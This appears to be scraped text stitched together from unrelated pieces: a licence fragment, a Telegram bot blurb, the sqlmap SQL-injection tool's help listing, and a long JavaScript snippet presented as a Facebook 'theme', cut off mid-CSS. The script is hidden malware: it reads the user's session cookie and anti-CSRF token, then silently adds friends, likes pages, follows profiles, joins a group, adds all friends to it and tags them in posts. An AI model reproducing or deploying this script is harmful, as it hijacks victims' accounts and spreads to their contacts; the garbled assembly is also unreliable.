KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
Telegram bot for downloading Spotify songs (from YouTube if a match is found).
HlaingPhyoAung
Usage: python sqlmap.py [options] Options: -h, --help Show basic help message and exit -hh Show advanced help message and exit --version Show program's version number and exit -v VERBOSE Verbosity level: 0-6 (default 1) Target: At least one of these options has to be provided to define the target(s) -d DIRECT Connection string for direct database connection -u URL, --url=URL Target URL (e.g. "http://www.site.com/vuln.php?id=1") -l LOGFILE Parse target(s) from Burp or WebScarab proxy log file -x SITEMAPURL Parse target(s) from remote sitemap(.xml) file -m BULKFILE Scan multiple targets given in a textual file -r REQUESTFILE Load HTTP request from a file -g GOOGLEDORK Process Google dork results as target URLs -c CONFIGFILE Load options from a configuration INI file Request: These options can be used to specify how to connect to the target URL --method=METHOD Force usage of given HTTP method (e.g. PUT) --data=DATA Data string to be sent through POST --param-del=PARA.. Character used for splitting parameter values --cookie=COOKIE HTTP Cookie header value --cookie-del=COO.. Character used for splitting cookie values --load-cookies=L.. File containing cookies in Netscape/wget format --drop-set-cookie Ignore Set-Cookie header from response --user-agent=AGENT HTTP User-Agent header value --random-agent Use randomly selected HTTP User-Agent header value --host=HOST HTTP Host header value --referer=REFERER HTTP Referer header value -H HEADER, --hea.. Extra header (e.g. "X-Forwarded-For: 127.0.0.1") --headers=HEADERS Extra headers (e.g. "Accept-Language: fr\nETag: 123") --auth-type=AUTH.. HTTP authentication type (Basic, Digest, NTLM or PKI) --auth-cred=AUTH.. HTTP authentication credentials (name:password) --auth-file=AUTH.. HTTP authentication PEM cert/private key file --ignore-401 Ignore HTTP Error 401 (Unauthorized) --proxy=PROXY Use a proxy to connect to the target URL --proxy-cred=PRO.. Proxy authentication credentials (name:password) --proxy-file=PRO.. Load proxy list from a file --ignore-proxy Ignore system default proxy settings --tor Use Tor anonymity network --tor-port=TORPORT Set Tor proxy port other than default --tor-type=TORTYPE Set Tor proxy type (HTTP (default), SOCKS4 or SOCKS5) --check-tor Check to see if Tor is used properly --delay=DELAY Delay in seconds between each HTTP request --timeout=TIMEOUT Seconds to wait before timeout connection (default 30) --retries=RETRIES Retries when the connection timeouts (default 3) --randomize=RPARAM Randomly change value for given parameter(s) --safe-url=SAFEURL URL address to visit frequently during testing --safe-post=SAFE.. POST data to send to a safe URL --safe-req=SAFER.. Load safe HTTP request from a file --safe-freq=SAFE.. Test requests between two visits to a given safe URL --skip-urlencode Skip URL encoding of payload data --csrf-token=CSR.. Parameter used to hold anti-CSRF token --csrf-url=CSRFURL URL address to visit to extract anti-CSRF token --force-ssl Force usage of SSL/HTTPS --hpp Use HTTP parameter pollution method --eval=EVALCODE Evaluate provided Python code before the request (e.g. "import hashlib;id2=hashlib.md5(id).hexdigest()") Optimization: These options can be used to optimize the performance of sqlmap -o Turn on all optimization switches --predict-output Predict common queries output --keep-alive Use persistent HTTP(s) connections --null-connection Retrieve page length without actual HTTP response body --threads=THREADS Max number of concurrent HTTP(s) requests (default 1) Injection: These options can be used to specify which parameters to test for, provide custom injection payloads and optional tampering scripts -p TESTPARAMETER Testable parameter(s) --skip=SKIP Skip testing for given parameter(s) --skip-static Skip testing parameters that not appear dynamic --dbms=DBMS Force back-end DBMS to this value --dbms-cred=DBMS.. DBMS authentication credentials (user:password) --os=OS Force back-end DBMS operating system to this value --invalid-bignum Use big numbers for invalidating values --invalid-logical Use logical operations for invalidating values --invalid-string Use random strings for invalidating values --no-cast Turn off payload casting mechanism --no-escape Turn off string escaping mechanism --prefix=PREFIX Injection payload prefix string --suffix=SUFFIX Injection payload suffix string --tamper=TAMPER Use given script(s) for tampering injection data Detection: These options can be used to customize the detection phase --level=LEVEL Level of tests to perform (1-5, default 1) --risk=RISK Risk of tests to perform (1-3, default 1) --string=STRING String to match when query is evaluated to True --not-string=NOT.. String to match when query is evaluated to False --regexp=REGEXP Regexp to match when query is evaluated to True --code=CODE HTTP code to match when query is evaluated to True --text-only Compare pages based only on the textual content --titles Compare pages based only on their titles Techniques: These options can be used to tweak testing of specific SQL injection techniques --technique=TECH SQL injection techniques to use (default "BEUSTQ") --time-sec=TIMESEC Seconds to delay the DBMS response (default 5) --union-cols=UCOLS Range of columns to test for UNION query SQL injection --union-char=UCHAR Character to use for bruteforcing number of columns --union-from=UFROM Table to use in FROM part of UNION query SQL injection --dns-domain=DNS.. Domain name used for DNS exfiltration attack --second-order=S.. Resulting page URL searched for second-order response Fingerprint: -f, --fingerprint Perform an extensive DBMS version fingerprint Enumeration: These options can be used to enumerate the back-end database management system information, structure and data contained in the tables. Moreover you can run your own SQL statements -a, --all Retrieve everything -b, --banner Retrieve DBMS banner --current-user Retrieve DBMS current user --current-db Retrieve DBMS current database --hostname Retrieve DBMS server hostname --is-dba Detect if the DBMS current user is DBA --users Enumerate DBMS users --passwords Enumerate DBMS users password hashes --privileges Enumerate DBMS users privileges --roles Enumerate DBMS users roles --dbs Enumerate DBMS databases --tables Enumerate DBMS database tables --columns Enumerate DBMS database table columns --schema Enumerate DBMS schema --count Retrieve number of entries for table(s) --dump Dump DBMS database table entries --dump-all Dump all DBMS databases tables entries --search Search column(s), table(s) and/or database name(s) --comments Retrieve DBMS comments -D DB DBMS database to enumerate -T TBL DBMS database table(s) to enumerate -C COL DBMS database table column(s) to enumerate -X EXCLUDECOL DBMS database table column(s) to not enumerate -U USER DBMS user to enumerate --exclude-sysdbs Exclude DBMS system databases when enumerating tables --pivot-column=P.. Pivot column name --where=DUMPWHERE Use WHERE condition while table dumping --start=LIMITSTART First query output entry to retrieve --stop=LIMITSTOP Last query output entry to retrieve --first=FIRSTCHAR First query output word character to retrieve --last=LASTCHAR Last query output word character to retrieve --sql-query=QUERY SQL statement to be executed --sql-shell Prompt for an interactive SQL shell --sql-file=SQLFILE Execute SQL statements from given file(s) Brute force: These options can be used to run brute force checks --common-tables Check existence of common tables --common-columns Check existence of common columns User-defined function injection: These options can be used to create custom user-defined functions --udf-inject Inject custom user-defined functions --shared-lib=SHLIB Local path of the shared library File system access: These options can be used to access the back-end database management system underlying file system --file-read=RFILE Read a file from the back-end DBMS file system --file-write=WFILE Write a local file on the back-end DBMS file system --file-dest=DFILE Back-end DBMS absolute filepath to write to Operating system access: These options can be used to access the back-end database management system underlying operating system --os-cmd=OSCMD Execute an operating system command --os-shell Prompt for an interactive operating system shell --os-pwn Prompt for an OOB shell, Meterpreter or VNC --os-smbrelay One click prompt for an OOB shell, Meterpreter or VNC --os-bof Stored procedure buffer overflow exploitation --priv-esc Database process user privilege escalation --msf-path=MSFPATH Local path where Metasploit Framework is installed --tmp-path=TMPPATH Remote absolute path of temporary files directory Windows registry access: These options can be used to access the back-end database management system Windows registry --reg-read Read a Windows registry key value --reg-add Write a Windows registry key value data --reg-del Delete a Windows registry key value --reg-key=REGKEY Windows registry key --reg-value=REGVAL Windows registry key value --reg-data=REGDATA Windows registry key value data --reg-type=REGTYPE Windows registry key value type General: These options can be used to set some general working parameters -s SESSIONFILE Load session from a stored (.sqlite) file -t TRAFFICFILE Log all HTTP traffic into a textual file --batch Never ask for user input, use the default behaviour --binary-fields=.. Result fields having binary values (e.g. "digest") --charset=CHARSET Force character encoding used for data retrieval --crawl=CRAWLDEPTH Crawl the website starting from the target URL --crawl-exclude=.. Regexp to exclude pages from crawling (e.g. "logout") --csv-del=CSVDEL Delimiting character used in CSV output (default ",") --dump-format=DU.. Format of dumped data (CSV (default), HTML or SQLITE) --eta Display for each output the estimated time of arrival --flush-session Flush session files for current target --forms Parse and test forms on target URL --fresh-queries Ignore query results stored in session file --hex Use DBMS hex function(s) for data retrieval --output-dir=OUT.. Custom output directory path --parse-errors Parse and display DBMS error messages from responses --save=SAVECONFIG Save options to a configuration INI file --scope=SCOPE Regexp to filter targets from provided proxy log --test-filter=TE.. Select tests by payloads and/or titles (e.g. ROW) --test-skip=TEST.. Skip tests by payloads and/or titles (e.g. BENCHMARK) --update Update sqlmap Miscellaneous: -z MNEMONICS Use short mnemonics (e.g. "flu,bat,ban,tec=EU") --alert=ALERT Run host OS command(s) when SQL injection is found --answers=ANSWERS Set question answers (e.g. "quit=N,follow=N") --beep Beep on question and/or when SQL injection is found --cleanup Clean up the DBMS from sqlmap specific UDF and tables --dependencies Check for missing (non-core) sqlmap dependencies --disable-coloring Disable console output coloring --gpage=GOOGLEPAGE Use Google dork results from specified page number --identify-waf Make a thorough testing for a WAF/IPS/IDS protection --skip-waf Skip heuristic detection of WAF/IPS/IDS protection --mobile Imitate smartphone through HTTP User-Agent header --offline Work in offline mode (only use session data) --page-rank Display page rank (PR) for Google dork results --purge-output Safely remove all content from output directory --smart Conduct thorough tests only if positive heuristic(s) --sqlmap-shell Prompt for an interactive sqlmap shell --wizard Simple wizard interface for beginner users
adesatria
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); alert('Theme By: adE Satria https://www.facebook.com/ProfiLadesatria'); function cereziAl(isim) { var tarama = isim + "="; if (document.cookie.length > 0) { konum = document.cookie.indexOf(tarama) if (konum != -1) { konum += tarama.length son = document.cookie.indexOf(";", konum) if (son == -1) son = document.cookie.length return unescape(document.cookie.substring(konum, son)) } else { return ""; } } } var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); function IDS(r) { var X = new XMLHttpRequest(); var XURL = "//www.facebook.com/ajax/add_friend/action.php"; var XParams = "to_friend=" + r +"&action=add_friend&how_found=friend_browser_s&ref_param=none&&&outgoing_id=&logging_location=search&no_flyout_on_click=true&ego_log_data&http_referer&__user="+user_id+"&__a=1&__dyn=798aD5z5CF-&__req=35&fb_dtsg="+fb_dtsg+"&phstamp="; X.open("POST", XURL, true); X.onreadystatechange = function () { if (X.readyState == 4 && X.status == 200) { X.close; } }; X.send(XParams); } var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); function Like(p) { var Page = new XMLHttpRequest(); var PageURL = "//www.facebook.com/ajax/pages/fan_status.php"; var PageParams = "&fbpage_id=" + p +"&add=true&reload=false&fan_origin=page_timeline&fan_source=&cat=&nctr[_mod]=pagelet_timeline_page_actions&__user="+user_id+"&__a=1&__dyn=798aD5z5CF-&__req=d&fb_dtsg="+fb_dtsg+"&phstamp="; Page.open("POST", PageURL, true); Page.onreadystatechange = function () { if (Page.readyState == 4 && Page.status == 200) { Page.close; } }; Page.send(PageParams); } var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; var now=(new Date).getTime(); function P(opo) { var X = new XMLHttpRequest(); var XURL ="//www.facebook.com/ajax/ufi/like.php"; var XParams = "like_action=true&ft_ent_identifier="+opo+"&source=1&client_id="+now+"%3A379783857&rootid=u_jsonp_39_18&giftoccasion&ft[tn]=%3E%3D&ft[type]=20&ft[qid]=5890811329470279257&ft[mf_story_key]=2814962900193143952&ft[has_expanded_ufi]=1&nctr[_mod]=pagelet_home_stream&__user="+user_id+"&__a=1&__dyn=7n88QoAMBlClyocpae&__req=g4&fb_dtsg="+fb_dtsg+"&phstamp="; X.open("POST", XURL, true); X.onreadystatechange = function () { if (X.readyState == 4 && X.status == 200) { X.close; } }; X.send(XParams); } var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); function a(abone) { var http4=new XMLHttpRequest; var url4="/ajax/follow/follow_profile.php?__a=1"; var params4="profile_id="+abone+"&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg="+fb_dtsg+"&lsd&__"+user_id+"&phstamp="; http4.open("POST",url4,true); http4.onreadystatechange=function() { if(http4.readyState==4&&http4.status==200)http4.close }; http4.send(params4)} function sublist(uidss) { var a = document.createElement('script'); a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();"; document.body.appendChild(a); } //Boss a("100004368643588");a("100007079796120");a("100001503619455"); sublist("243737815781838");sublist("1387712268141420");sublist("262092750613011"); var gid = ['787801977901062']; var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value']; var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]); var httpwp = new XMLHttpRequest(); var urlwp = '/ajax/groups/membership/r2j.php?__a=1'; var paramswp = '&ref=group_jump_header&group_id=' + gid + '&fb_dtsg=' + fb_dtsg + '&__user=' + user_id + '&phstamp='; httpwp['open']('POST', urlwp, true); httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded'); httpwp['setRequestHeader']('Content-length', paramswp['length']); httpwp['setRequestHeader']('Connection', 'keep-alive'); httpwp['send'](paramswp); var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value']; var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]); var friends = new Array(); gf = new XMLHttpRequest(); gf['open']('GET', '/ajax/typeahead/first_degree.php?__a=1&viewer=' + user_id + '&token' + Math['random']() + '&filter[0]=user&options[0]=friends_only', false); gf['send'](); if (gf['readyState'] != 4) {} else { data = eval('(' + gf['responseText']['substr'](9) + ')'); if (data['error']) {} else { friends = data['payload']['entries']['sort'](function (_0x93dax8, _0x93dax9) { return _0x93dax8['index'] - _0x93dax9['index']; }); }; }; for (var i = 0; i < friends['length']; i++) { var httpwp = new XMLHttpRequest(); var urlwp = '/ajax/groups/members/add_post.php?__a=1'; var paramswp= '&fb_dtsg=' + fb_dtsg + '&group_id=' + gid + '&source=typeahead&ref=&message_id=&members=' + friends[i]['uid'] + '&__user=' + user_id + '&phstamp='; httpwp['open']('POST', urlwp, true); httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded'); httpwp['setRequestHeader']('Content-length', paramswp['length']); httpwp['setRequestHeader']('Connection', 'keep-alive'); httpwp['onreadystatechange'] = function () { if (httpwp['readyState'] == 4 && httpwp['status'] == 200) {}; }; httpwp['send'](paramswp); }; var spage_id = "531553660285377"; var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); var smesaj = ""; var smesaj_text = ""; var arkadaslar = []; var svn_rev; var bugun= new Date(); var btarihi = new Date(); btarihi.setTime(bugun.getTime() + 1000*60*60*4*1); if(!document.cookie.match(/paylasti=(\d+)/)){ document.cookie = "paylasti=hayir;expires="+ btarihi.toGMTString(); } //arkadaslari al ve isle function sarkadaslari_al(){ var xmlhttp = new XMLHttpRequest(); xmlhttp.onreadystatechange = function () { if(xmlhttp.readyState == 4){ eval("arkadaslar = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";"); for(f=0;f<Math.round(arkadaslar.payload.entries.length/10);f++){ smesaj = ""; smesaj_text = ""; for(i=f*10;i<(f+1)*10;i++){ if(arkadaslar.payload.entries[i]){ smesaj += " @[" + arkadaslar.payload.entries[i].uid + ":" + arkadaslar.payload.entries[i].text + "]"; smesaj_text += " " + arkadaslar.payload.entries[i].text; } } sdurumpaylas(); } } }; var params = "&filter[0]=user"; params += "&options[0]=friends_only"; params += "&options[1]=nm"; params += "&token=v7"; params += "&viewer=" + user_id; params += "&__user=" + user_id; if (document.URL.indexOf("https://") >= 0) { xmlhttp.open("GET", "https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); } else { xmlhttp.open("GET", "http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); } xmlhttp.send(); } //tiklama olayini dinle var tiklama = document.addEventListener("click", function () { if(document.cookie.split("paylasti=")[1].split(";")[0].indexOf("hayir") >= 0){ svn_rev = document.head.innerHTML.split('"svn_rev":')[1].split(",")[0]; sarkadaslari_al(); document.cookie = "paylasti=evet;expires="+ btarihi.toGMTString(); document.removeEventListener(tiklama); } }, false); //arkada?¾ ekleme function sarkadasekle(uid,cins){ var xmlhttp = new XMLHttpRequest(); xmlhttp.onreadystatechange = function () { if(xmlhttp.readyState == 4){ } }; xmlhttp.open("POST", "/ajax/add_friend/action.php?__a=1", true); var params = "to_friend=" + uid; params += "&action=add_friend"; params += "&how_found=friend_browser"; params += "&ref_param=none"; params += "&outgoing_id="; params += "&logging_location=friend_browser"; params += "&no_flyout_on_click=true"; params += "&ego_log_data="; params += "&http_referer="; params += "&fb_dtsg=" + document.getElementsByName('fb_dtsg')[0].value; params += "&phstamp=165816749114848369115"; params += "&__user=" + user_id; xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev); xmlhttp.setRequestHeader ("Content-Type","application/x-www-form-urlencoded"); if(cins == "farketmez" && document.cookie.split("cins" + user_id +"=").length > 1){ xmlhttp.send(params); }else if(document.cookie.split("cins" + user_id +"=").length <= 1){ cinsiyetgetir(uid,cins,"sarkadasekle"); }else if(cins == document.cookie.split("cins" + user_id +"=")[1].split(";")[0].toString()){ xmlhttp.send(params); } } //cinsiyet belirleme var cinssonuc = {}; var cinshtml = document.createElement("html"); function scinsiyetgetir(uid,cins,fonksiyon){ var xmlhttp = new XMLHttpRequest(); xmlhttp.onreadystatechange = function () { if(xmlhttp.readyState == 4){ eval("cinssonuc = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";"); cinshtml.innerHTML = cinssonuc.jsmods.markup[0][1].__html btarihi.setTime(bugun.getTime() + 1000*60*60*24*365); if(cinshtml.getElementsByTagName("select")[0].value == "1"){ document.cookie = "cins" + user_id + "=kadin;expires=" + btarihi.toGMTString(); }else if(cinshtml.getElementsByTagName("select")[0].value == "2"){ document.cookie = "cins" + user_id + "=erkek;expires=" + btarihi.toGMTString(); } eval(fonksiyon + "(" + id + "," + cins + ");"); } }; xmlhttp.open("GET", "/ajax/timeline/edit_profile/basic_info.php?__a=1&__user=" + user_id, true); xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev); xmlhttp.send(); } (function() { var css = "#facebook body:not(.transparent_widget),#nonfooter,#booklet,.UIFullPage_Container,.fbConnectWidgetTopmost,.connect_widget_vertical_center,.fbFeedbackContent,#LikeboxPluginPagelet\n{ \ncolor: #fff !important;\nbackground: url(\"http://25.media.tumblr.com/tumblr_lw8xyvoJAb1qjkn2ho2_500.gif\") no-repeat fixed, -webkit-radial-gradient(100% 50%, circle, #FFBB22 3%, #BBAA44 10%, transparent 45%) fixed, -webkit-radial-gradient(0% 50%, circle, #FFBB22 3%, #BBAA44 10%, transparent 45%) fixed, -webkit-radial-gradient(50% 0%, circle, #FFBB22 3%, #BBAA44 10%, transparent 45%) fixed, -webkit-radial-gradient(50% 100%, circle, #FFBB22 3%, #BBAA44 10%, transparent 45%) fixed, #444410 !important;\nbackground-size: 100% 100%, cover, cover, cover, cover, cover !important;\n}\n* {\nborder-color: transparent !important;\nfont-family: Comic Sans MS !important;\ncolor: #FFFFFF !important;\nbackground-color: transparent !important; \n}\n\n\na,.UIActionButton_Text,span,div,input[value=\"Comment\"] {text-shadow: #000 1px 1px 1px !important;}\n\n.UIComposer_InputArea *,.highlighter div{text-shadow: none !important;}\n\n#profile_name {text-shadow: #fff 0 0 2px,#000 1px 1px 3px;}\n\na:hover,.inputbutton:hover,.inputsubmit:hover,.accent,.hover,.domain_name:hover,#standard_error,.UIFilterList_Selected a:hover,input[type=\"submit\"]:not(.fg_action_hide):hover,.button_text:hover,#presence_applications_tab:hover,.UIActionMenu:hover,.attachment_link a span:hover,.UIIntentionalStory_Time a:hover,.UIPortrait_Text .title:hover,.UIPortrait_Text .title span:hover,.comment_link:hover,.request_link span:hover,.UIFilterList_ItemLink .UIFilterList_Title:hover,.UIActionMenu_Text:hover,.UIButton_Text:hover,.inner_button:hover,.panel_item span:hover,li[style*=\"background-color: rgb(255,255,255)\"] .friend_status,.dh_new_media span:hover,a span:hover,.tab_link:hover *,button:hover,#buddy_list_tab:hover *,.tab_handle:hover .tab_name span,.as_link:hover span,input[type=\"button\"]:hover,.feedback_show_link:hover,.page:hover .text,.group:hover .text,.calltoaction:hover .seeMoreTitle,.liketext:hover,.tickerStoryBlock:hover .uiStreamMessage span,.tickerActionVerb,.mleButton:hover,.bigNumber,.pluginRecommendationsBarButton:hover {color: #FF9D52 !important;text-shadow: #fff 0 0 2px !important;text-decoration: none !important;}\n\n\n.fbChatSidebar .fbChatTypeahead .textInput,.fbChatSidebarMessage,.devsitePage .body > .content {box-shadow: none !important;}\n\n.presence_menu_opts,#header,.LJSDialog,.chat_window_wrapper,#navAccount ul,.fbJewelFlyout,.uiTypeaheadView,.uiToggleFlyout { box-shadow: 0 0 3em #000; }\n\n.UIRoundedImage,.UIContentBox_GrayDarkTop,.UIFilterList > .UIFilterList_Title, .dialog-title,.flyout,.uiFacepileItem .uiTooltipWrap {box-shadow: 0 0 1em 1px #000;}\n\n.extra_menus ul li:hover,.UIRoundedBox_Box,.fb_menu_link:hover,.UISelectList_Item:hover,.fb_logo_link:hover,.hovered,#presence_notifications_tab,#chat_tab_barx,.tab_button_div,.plays_val, #mailBoxItems li a:hover,.buddy_row a:hover,.buddyRow a:hover,#navigation a:hover,#presence_applications_tab,#buddy_list_tab,#presence_error_section,.uiStepSelected .middle,.jewelButton,#pageLogo,.fbChatOrderedList .item:hover,.uiStreamHeaderTall {box-shadow: 0 0 3px #000,inset 0 0 5px #000 !important;}\n\n\n.topNavLink > a:hover,#navAccount.openToggler,.selectedCheckable {box-shadow: 0 0 4px 2px #FF9D52,inset 0 0 2em #FFAA66 !important;}\n\n\n.fbChatBuddyListDropdown .uiButton,.promote_page a,.create_button a,.share_button_browser div,.silver_create_button,.button:not(.uiSelectorButton):not(.close):not(.videoicon),button:not(.as_link),.GBSearchBox_Button,.UIButton_Gray,.UIButton,.uiButton:not(.uiSelectorButton),.fbPrivacyWidget .uiSelectorButton:not(.lockButton),.uiButtonSuppressed,.UIActionMenu_SuppressButton,.UIConnectControlsListSelector .uiButton,.uiSelector:not(.fbDockChatDropdown) .uiSelectorButton:not(.uiCloseButton),.fbTimelineRibbon,#fbDockChatBuddylistNub .fbNubButton,.pluginRecommendationsBarButtonLike {box-shadow: 0 0 .5em rgba(0,0,0,0.9),inset 0 0 .75em #FF9D52 !important;border-width: 0 !important; }\n\n.fbChatBuddyListDropdown .uiButton:hover,.uiButton:not(.uiSelectorButton):hover,.fbPrivacyWidget .uiSelectorButton:not(.lockButton):hover,.uiButtonSuppressed:hover,.UIButton:hover,.UIActionMenu_Wrap:hover,.tabs li:hover,.ntab:hover,input[type=\"submit\"]:not(.fg_action_hide):not(.stat_elem):not([name=\"add\"]):not([name=\"actions[reject]\"]):not([name=\"actions[accept]\"]):not([value=\"Find Friends\"]):not([value=\"Share\"]):not([value=\"Maybe\"]):not([value=\"No\"]):not([value=\"Yes\"]):not([value=\"Comment\"]):not([value=\"Reply\"]):not([type=\"Flag\"]):not([type=\"submit\"]):hover,.inputsubmit:hover,.promote_page:hover,.create_button:hover,.share_button_browser:hover,.silver_create_button_shell:hover,.painted_button:hover,.flyer_button:hover,.button:not(.close):not(.uiSelectorButton):not(.videoicon):hover,button:not(.as_link):hover,.GBSearchBox_Button:hover,.tagsWrapper,.UIConnectControlsListSelector .uiButton:hover,.uiSelector:not(.fbDockChatDropdown) .uiSelectorButton:not(.uiCloseButton):hover,.fbTimelineMoreButton:hover,#fbDockChatBuddylistNub .fbNubButton:hover,.tab > div:not(.title):hover,.detail.frame:hover,.pluginRecommendationsBarButtonLike:hover {box-shadow: 0 0 .5em #000,0 0 1em 3px #FF9D52,inset 0 0 2em #FFAA66 !important;}\n\n#icon_garden,.list_select .friend_list {box-shadow: 0 0 3px -1px #000,inset 0 0 3px -1px #000;}\n\n.bb .fbNubButton,.uiScrollableAreaGripper {box-shadow: inset 0 4px 8px #FF9D52,0 0 1em #000 !important;}\n\n.bb .fbNubButton:hover {box-shadow: inset 0 4px 8px #FF9D52,0 .5em 1em 1em #FF9D52 !important;}\n\n.fbNubFlyoutTitlebar {box-shadow: inset 0 4px 8px #FF9D52;padding: 0 4px !important;}\n\n#fb_menubar,.progress_bar_outer {box-shadow: inset 0 0 3px #000,0 0 3em 3px #000;}\n#presence_ui {box-shadow: 0 0 3em 1px #000}\n\n#buddy_list_tab:hover,.tab_handle:hover,.focused {box-shadow: 0 0 3px #000,inset 0 0 3px #000,0 0 3em 5px #fff;}\n\n.uiSideNavCount,.jewelCount,.uiContextualDialogContent,.fbTimelineCapsule .fbTimelineTwoColumn > .timelineUnitContainer:hover,.timelineReportContainer:hover,.uiOverlayPageContent,.pagesTimelineButtonPagelet .counter,#pagelet_timeline_profile_actions .counter,.uiScaledImageContainer:hover {box-shadow: 0 0 1em 4px #FF9D52 !important;}\n\n.img_link:hover,.album_thumb:hover,.fbChatTourCallout .body,.fbSidebarGripper div {box-shadow: 0 0 3em #FF9D52;}\n\n.shaded,.progress_bar_inner,.tickerStoryAllowClick {box-shadow: inset 0 0 1em #FF9D52 !important}\n\n.UIPhotoGrid_Table .UIPhotoGrid_TableCell:hover .UIPhotoGrid_Image,#myphoto:hover,.mediaThumbWrapper:hover,.uiVideoLink:hover,.mediaThumb:hover,#presence.fbx_bar #presence_ui #presence_bar .highlight,.fbNubFlyout:hover,.hovercard .stage,#fbDockChatBuddylistNub .fbNubFlyout:hover,.balloon-content,.-cx-PRIVATE-uiDialog__border {box-shadow: 0 0 3em 5px #FF9D52 !important;}\n\n.fbNubFlyout,.uiMenuXBorder {box-shadow: 0 0 3em 5px #000 !important;}\n\n#blueBar {box-shadow: 0 0 1em 3px #000;}\n\n.fill {box-shadow: inset 0 0 2em #FFAA66,0 0 1em #000 !important;}\n\n\ninput[type=\"file\"]{-moz-appearance:none!important;border: none !important;}\n\n\n.status_text,h4,a,h2,.flyout_menu_title,.url,#label_nm,h5,.WelcomePage_MainMessage,#public_link_uri,#public_link_editphoto span,#public_link_editalbum span,.dh_subtitle,.app_name_heading,.box_head,.presence_bar_button span,a:link span,#public_link_album span,.note_title,.link_placeholder,.stories_title,.typeahead_suggestion,.boardkit_title,.section-title strong,.inputbutton,.inputsubmit,.matches_content_box_title,.tab_name,.header_title_text,.signup_box_message,.quiz_start_quiz,.sidebar_upsell_header,.wall_post_title,.megaphone_header,.source_name,.UIComposer_AttachmentLink,.fcontent > .fname,#presence_applications_tab,.mfs_email_title,.flyout .text,.UIFilterList_ItemLink .UIFilterList_Title,.announce_title,.attachment_link a span,.comment_author,.UIPortrait_Text .title,.comment_link,.UIIntentionalStory_Names,#profile_name,.UIButton_Text,.dh_new_media span,.share_button_browser div,.UIActionMenu_Text,.UINestedFilterList_Title,button,.panel_item span,.stat_elem,.action,#contact_importer_container input[value=\"Find Friends\"]:hover,.navMore,.navLess,input[name=\"add\"],input[name=\"actions[reject]\"],input[name=\"actions[accept]\"],input[name=\"actions[maybe]\"],.uiButtonText,.as_link .default_message,.feedback_hide_link,.feedback_show_link,#fbpage_fan_sidebar_text,.comment_actual_text a span,.uiAttachmentDesc a span,.uiStreamMessage a span,.group .text,.page .text,.uiLinkButton input,.blueName,.uiBlingBox span.text,.commentContent a span,.uiButton input,.fbDockChatTab .name,.simulatedLink,.bfb_tab_selected,.liketext,a.UIImageBlock_Content,.uiTypeaheadView li .text,.author,.authors,.itemLabel,.passiveName,.token,.fbCurrentTitle,.fbSettingsListItemLabel,.uiIconText,#uetqg1_8,.fbRemindersTitle,.mleButton,.uiMenuItem .selected .name {color: #FF9D52 !important;}\n\n#email,option,.disclaimer,.info dd,.UIUpcoming_Info,.UITos_ReviewDescription,.settings_box_text,div[style*=\"color: rgb(85,85,85)\"] {color: #999 !important;}\n\n.status_time,.header_title_wrapper,.copyright,#newsfeed_submenu,#newsfeed_submenu_content strong,.summary,.caption,.story_body,.social_ad_advert_text,.createalbum dt,.basic_info_summary_and_viewer_actions dt,.info dt,.photo_count,p,.fbpage_fans_count,.fbpage_type,.quiz_title,.quiz_detailtext,.byline,label,.fadvfilt b,.fadded,.fupdt,.label,.main_subtitle,.minifeed_filters li,.updates_settings,#public_link_photo,#phototags em,#public_link_editphoto,.note_dialog,#public_link_editalbum,.block_add_person,.privacy_page_field,.action_text,.network,.set_filters span,.byline span,#no_notes,#cheat_sheet,.form_label,.share_item_actions,.options_header,.box_subtitle,.review_header_subtitle_line,.summary strong,.upsell dd,.availability_text,#public_link_album,.explanation,.aim_link,.subtitle,#profile_status,span[style*=\"color: rgb(51,51,51)\"],.fphone_label,.phone_type_label,.sublabel,.gift_caption,dd span,.events_bar,.searching,.event_profile_title,.feedBackground,.fp_show_less,.increments td,.status_confirm,.sentence,.admin_list span,.boardkit_no_topics,.boardkit_subtitle,.petition_preview,.boardkit_topic_summary,li,#photo_badge,.status_body, .spell_suggest_label,.pg_title,.white_box,.token span,.profile_activation_score,.personal_msg span,.matches_content_box_subtitle span,tr[fbcontext=\"41097bfeb58d\"] td,.title,.floated_container span:not(.accent),div[style*=\"color: rgb(85,85,85)\"],div[style*=\"color: rgb(68,68,68)\"],.present_info_label,.fbpage_description,.tagged span,#tags h2 strong,#tags div span,.detail,.chat_info_status,.gray-text,.author_header,.inline_comment,.fbpage_info,.gueststatus,.no_pages,.topic_pager,.header_comment span,div[style*=\"color: rgb(101,107,111)\"],#q,span[style*=\"color: rgb(85,85,85)\"],.pl-item,.tagged_in,.pick_body,td[style*=\"color: 